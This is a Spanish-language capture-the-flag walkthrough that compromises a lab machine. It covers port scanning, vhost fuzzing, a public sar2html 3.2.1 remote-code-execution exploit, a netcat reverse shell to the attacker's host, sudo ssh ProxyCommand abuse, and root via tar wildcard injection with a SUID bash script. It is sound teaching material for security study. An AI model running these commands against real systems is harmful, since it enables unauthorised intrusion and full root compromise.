Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.38❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 13:42 -04
Nmap scan report for 192.168.1.38
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 secondsUna petición con curl verboso revela una cabecera personalizada con un dominio:
❯ curl http://192.168.1.38 -vvv
...
< X-Custom-Header: pl0t.nyx
...Lo agregamos a nuestro /etc/hosts:
❯ sudo nvim /etc/hosts
...
192.168.1.38 pl0t.nyx
...Fuzzeamos virtual hosts (subdominios) con wfuzz, filtrando la respuesta por defecto, y descubrimos sar:
❯ wfuzz -u 'http://pl0t.nyx' -H 'Host: FUZZ.pl0t.nyx' -t 100 -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 35,933
...
000066875: 200 86 L 434 W 4812 Ch "sar"
...Agregamos el nuevo subdominio al /etc/hosts:
...
192.168.1.38 pl0t.nyx sar.pl0t.nyx
...El virtual host sar.pl0t.nyx ejecuta sar2html Ver 3.2.1, vulnerable a RCE. Lanzamos el exploit y, a través de él, una reverse shell:
❯ searchsploit sar2html 3.2.1
...
sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt
...
❯ searchsploit -m 49344
❯ python3 49344.py
Enter The url => http://sar.pl0t.nyx/
Command => whoami
HPUX
Linux
SunOS
www-data
Ejecutamos una reverse shell:
Command => nc -e /bin/sh 192.168.1.5 1234
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.38:42048.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@plot:/var/www/vhost$ export TERM=xterm
www-data@plot:/var/www/vhost$Para movernos al usuario tony, revisamos los permisos sudo:
www-data@plot:/var/www/vhost$ sudo -l
Matching Defaults entries for www-data on plot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on plot:
(tony) NOPASSWD: /usr/bin/sshPodemos ejecutar ssh como tony. Abusamos de la opción ProxyCommand para ejecutar comandos arbitrarios y obtener una shell de tony junto con la primera flag:
www-data@plot:/var/www/vhost$ sudo -u tony ssh -o ProxyCommand=';bash 0<&2 1>&2' x
tony@plot:/var/www/vhost$Para la escalada final, monitorizamos los procesos con pspy64 y detectamos un cronjob de root que se ejecuta cada minuto:
tony@plot:/tmp$ ./pspy64
...
2024/08/18 20:34:01 CMD: UID=0 PID=14520 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *
2024/08/18 20:34:01 CMD: UID=0 PID=14521 | tar -zcf /var/backups/serve.tgz index.html
2024/08/18 20:34:01 CMD: UID=0 PID=14522 | /bin/sh -c gzip
...El cronjob cambia a /var/www/html y comprime todo su contenido con tar *. Como tenemos escritura en ese directorio, abusamos de la expansión del comodín mediante Tar Wildcard Injection: creamos un script que da SUID a Bash y los archivos --checkpoint que tar interpretará como opciones:
tony@plot:/var/www/html$ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash
tony@plot:/var/www/html$ chmod +x pwned.sh
tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh pwned.sh"Esperamos un minuto y, con Bash ya marcado SUID, lanzamos una shell privilegiada con -p:
tony@plot:/var/www/html$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 mar 27 2022 /bin/bash
tony@plot:/var/www/html$ bash -p
bash-5.1# whoami
rootObtenemos nuestra flag y fin.